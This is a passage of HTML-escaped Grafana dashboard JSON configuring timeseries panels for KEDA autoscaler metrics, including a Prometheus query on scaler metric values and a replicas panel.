/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillOpacity&quot;:&amp;nbsp;25,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gradientMode&quot;:&amp;nbsp;&quot;opacity&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hideFrom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;viz&quot;:&amp;nbsp;false&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineInterpolation&quot;:&amp;nbsp;&quot;linear&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;lineWidth&quot;:&amp;nbsp;2,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;pointSize&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;scaleDistribution&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;linear&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showPoints&quot;:&amp;nbsp;&quot;never&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;spanNulls&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;stacking&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;group&quot;:&amp;nbsp;&quot;A&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholdsStyle&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;off&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mappings&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;thresholds&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;absolute&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;steps&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;green&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;null&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;&quot;red&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;80&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;unit&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;overrides&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;matcher&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;byName&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;&quot;http-demo&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;properties&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;&quot;color&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;value&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fixedColor&quot;:&amp;nbsp;&quot;blue&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;fixed&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;]&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gridPos&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;h&quot;:&amp;nbsp;9,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;w&quot;:&amp;nbsp;24,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;x&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;y&quot;:&amp;nbsp;11&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;id&quot;:&amp;nbsp;5,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;options&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;calcs&quot;:&amp;nbsp;[],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;displayMode&quot;:&amp;nbsp;&quot;list&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;placement&quot;:&amp;nbsp;&quot;bottom&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;showLegend&quot;:&amp;nbsp;true&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;single&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;sort&quot;:&amp;nbsp;&quot;none&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;targets&quot;:&amp;nbsp;[&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;editorMode&quot;:&amp;nbsp;&quot;code&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;expr&quot;:&amp;nbsp;&quot;sum&amp;nbsp;by(metric)&amp;nbsp;(keda_scaler_metrics_value{exported_namespace=~\&quot;$namespace\&quot;,&amp;nbsp;metric=~\&quot;$metric\&quot;,&amp;nbsp;scaledObject=\&quot;$scaledObject\&quot;})&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legendFormat&quot;:&amp;nbsp;&quot;{{&amp;nbsp;metric&amp;nbsp;}}&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;range&quot;:&amp;nbsp;true,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;refId&quot;:&amp;nbsp;&quot;A&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;],&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;title&quot;:&amp;nbsp;&quot;Scaler&amp;nbsp;Metric&amp;nbsp;Value&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;timeseries&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;datasource&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;type&quot;:&amp;nbsp;&quot;prometheus&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;uid&quot;:&amp;nbsp;&quot;${datasource}&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;description&quot;:&amp;nbsp;&quot;shows&amp;nbsp;current&amp;nbsp;replicas&amp;nbsp;against&amp;nbsp;max&amp;nbsp;ones&amp;nbsp;based&amp;nbsp;on&amp;nbsp;time&amp;nbsp;difference&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fieldConfig&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;defaults&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;color&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;mode&quot;:&amp;nbsp;&quot;palette-classic&quot;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;},&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;custom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisCenteredZero&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisColorMode&quot;:&amp;nbsp;&quot;text&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisLabel&quot;:&amp;nbsp;&quot;&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;axisPlacement&quot;:&amp;nbsp;&quot;auto&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;barAlignment&quot;:&amp;nbsp;0,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;drawStyle&quot;:&amp;nbsp;&quot;line&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;fillOpacity&quot;:&amp;nbsp;21,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;gradientMode&quot;:&amp;nbsp;&quot;opacity&quot;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hideFrom&quot;:&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;legend&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;tooltip&quot;:&amp;nbsp;false,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;viz&quot;:&amp;nbsp;false&lt;br 